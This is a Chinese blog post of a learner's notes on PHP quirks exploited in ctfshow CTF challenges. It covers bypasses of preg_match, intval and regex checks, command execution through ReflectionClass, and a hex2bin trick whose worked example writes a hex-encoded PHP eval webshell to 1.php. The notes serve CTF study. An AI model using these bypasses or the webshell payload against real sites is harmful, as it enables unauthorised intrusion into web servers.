首页 > 编程语言 >php特性

php特性

时间:2024-04-14 15:34:02浏览次数:17  
标签:变量 GET 可以 特性 flag 绕过 php

这里是根据ctfshow php特性做的题积累的知识

1.preg_match()函数

可以利用数组绕过,因为preg_match只能处理字符串,所以当传入的subject是数组时会返回false

2.intval()函数!!!

如果是字符串,它返回的内容取决于字符串最左侧的字符。如intval(‘11a0’)=11。所有输入的内容加上一个字母,就可以绕过和满足上述的两个条件限制。

当弱比较不能等于xxx,intval()结果是xxx时
试试e这个字母,e这个字母比较特殊,可以在PHP中不是科学计数法。比如4476e123在intval()中=4476

转换进制可以绕过过滤,16进制前加0x,8进制前加0,如4476=010574

把0过滤了可以试试加小数点绕过,或者用加号或者空格绕过,如4476.0,+4476(+的话,url解码会认为是空格,或者输入%2b,解码为+,空格%20,或者(space)也可以绕过。)

+号绕过和进制绕过是可以叠加使用的

3.和$这种的正则匹配,只匹配一行。但是正则匹配/m可以执行多行匹配。

所以第一层条件是多行匹配php,第二层条件是单行匹配,这样就可以用换行符%0a绕过。
例子:
f(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){,
看到有/m就可以尝试

4.php三元运算符,

三元运算符:条件表达式?表达式1:表达式2=>条件为真,结果是表达式1;条件为假,结果是表达式2。
举例
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']'flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']
'flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:FILE);

有点晕,慢慢分析
1,先设定了一个$_GET 变量为数组,如果$_GET 变量不为空,则$_GET 变量和$_POST 变量指向同一个地址,即$_POST 变量内容改变,会影响$_GET 变量的内容。如果为空,整个三元表达式的结果为’flag’。就是如果echo这段代码的话,返回结果是flag。
2,$_GET['flag']'flag'?$_GET=&$_COOKIE:'flag';
如果flag变量值为’flag’,则$_GET 变量和$_COOKIE 变量指向同一个地址;否则返回flag。
3,$_GET['flag']
'flag'?$_GET=&$_SERVER:'flag';
如果flag变量值为’flag’,则$_GET 变量和$_SERVER 变量指向同一个地址;否则返回flag。
4,highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:FILE);
高亮输出结果。如果HTTP_FLAG变量值为’flag’,输出$flag,否则输出当前文件。
5,$_GET?$_GET=&$_POST:'flag';
如果执行了get传参让HTTP_FLAG=flag,那么也需要post传参相同。

5.is_numeric()函数

is_numeric() 函数用于检测变量是否为数字或数字字符串。
var_dump()函数可以输出多个值,一般需要变量输出多个字符串的时候使用

6.反射类Reflectionclass

官方解释为 ‘可以与已定义的类建立映射关系,通过反射类可以对类操作’并且‘反射类不仅仅可以建立对类的映射,也可以建立对PHP基本方法的映射,并且返回基本方法执行的情况。因此可以通过建立反射类new ReflectionClass(system('cmd'))来执行命令“
也就是说,这个函数可以返回代码运行结果,通常是echo new ReflectionClass,然后另一个变量输入命令,等后面继续遇到这种题在看看吧

7.hex2bin函数

hex2bin函数可以将16进制的数字转换为字符串,is_numeric在php5的环境中,是可以识别十六进制的,可以根据这个传马,举个例子
首先将我们的一句话编码成16进制

0x3c3f706870206576616c28245f504f53545b315d293b3f3e
接着直接传入v2=0x3c3f706870206576616c28245f504f53545b315d293b3f3e&v3=1.php
post:v1=hex2bin
即可完成木马的写入。

标签:变量,GET,可以,特性,flag,绕过,php
From: https://www.cnblogs.com/ziwei233/p/18134198

相关文章

  • thinkphp+vue跨域报错解决方案
     使用vue的axios.post向后台服务器的发送数据时报错:CORSpolicy:Responsetopreflightrequestdoesn'tpassaccesscontrolcheck:No'Access-Control-Allow-Origin'headerispresentontherequestedresource. 解决办法在public/index.php文件中添加以下代码://......
  • 关于PHP编码的选用
    半知半觉地到了老而不肖的年纪,过往点滴,是有那么十数件要么心亏,要么愤慨,要么算了,要么绮望...诸等反复嚼陈的,选专业就是其一,写码刮不出水链会叹基础差,好多概念糊涂不清,要是有在计算机系挨过,是否捉窘就能少一些呢。说起文件编码,打从业就没怎么关注过,乱码吗?用记事本打开二进制文件就......
  • php8 新特性 match
     https://www.php.net/manual/en/control-structures.match.php   $shape=['type'=>'circle','radius'=>'10'];$res=match($shape){['type'=>'circle','rad......
  • php强弱比较
    [MRCTF2020]Ez_bypassPOST/?gg[]=QNKCDZO&id[]=s1836677006HTTP/1.1Host:b74a9axxxxxx4-6b46a513622f.node5.buuoj.cn:81Pragma:no-cacheCache-Control:no-cacheUpgrade-Insecure-Requests:1User-Agent:Mozilla/5.0(WindowsNT10.0;Win64;x64)AppleWebKit/53......
  • PHP特性 web107-
    Web107parse_str函数将前字符串解析到后边,实现变量的覆盖if(isset($_POST['v1'])){    $v1 = $_POST['v1'];    $v3 = $_GET['v3'];       parse_str($v1,$v2);       if($v2['flag']==md5($v3)){           echo $flag;    ......
  • 暖风机/寻线仪防干扰/防静电LCD液晶段码屏驱动芯片VK1C21A/B/C/D/DA/E/EA具备显示效果
    概述:VK1C21A/B是一个点阵式存储映射的LCD驱动器,可支持最大128点(32SEGx4COM)的LCD屏,也支持2COM和3COM的LCD屏。单片机可通过3/4个通信脚配置显示参数和发送显示数据,也可通过指令进入省电模式。具备高抗干扰,显示效果好,静电耐压高等优良特性,可替代市面上大部分LCD驱动芯片。 特点:......
  • php rsa长文加密解密
    密钥类型:1024bit:分段加密字节数为117,分段解密字节数为128。2048bit:分段加密字节数为245,分段解密字节数为256。 classRsaBill{private$public_key_resource;private$private_key_resource;publicfunction__construct(){$this->public_key......
  • FastAPI: 测试lifespan特性(转)
    addbyzhj:实践出真知,文章写得真不错,自己测试这些条件原文:FastAPI:experimentlifespanfeatureInitInFastAPI,oneofwayscreatingasharedresourceandlivingaslongasapplicationisupisusing lifespan featureinFastAPI.Thislifespanfeaturecandoc......
  • php heredoc 与 nowdoc
    在php开发中我们会很经常的使用到html,有时候是很大一段html,直接在php中去编写html很是不方便,相信很多同学都遇到过,不用担心php中的定界符heredoc和nowdoc会帮助我们的,那就让我们一起来看看吧!phpheredoc与nowdocheredoc结构heredoc句法结构:运算符之后要提供一个标识符,然后......
  • php的addslashes()函数
    PHPaddslashes()函数addslashes()函数是PHP的一个内置函数,它返回一个在预定义的字符前会添加反斜杠的转义字符串。可以注:它不会在参数中使用任何指定的字符。预定义的字符是:●单引号(')●双引号(")●反斜杠(\)●空(null)值基本语法:addslashes($string)参数: ......